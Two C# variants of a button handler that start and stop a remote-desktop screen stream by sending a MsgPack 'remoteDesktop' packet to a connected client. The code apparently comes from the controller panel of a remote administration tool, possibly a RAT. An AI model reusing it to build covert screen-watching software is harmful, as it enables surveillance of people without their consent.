private void Button1_Click(object sender, EventArgs e) { if (button1.Tag == (object)"play") { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "capture"; msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; button1.Tag = (object)"stop"; button1.BackgroundImage = Properties.Resources.stop__1_; } else { button1.Tag = (object)"play"; try { C2.Disconnected(); C2 = null; } catch { } numericUpDown1.Enabled = true; numericUpDown2.Enabled = true; button1.BackgroundImage = Properties.Resources.play_button; } }
private void Button1_Click(object sender, EventArgs e) { if (button1.Text == "START") { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; button1.Text = "STOP"; } else { button1.Text = "START"; numericUpDown1.Enabled = true; try { C2.ClientSocket.Dispose(); C2.Disconnected(); C2 = null; } catch { } } }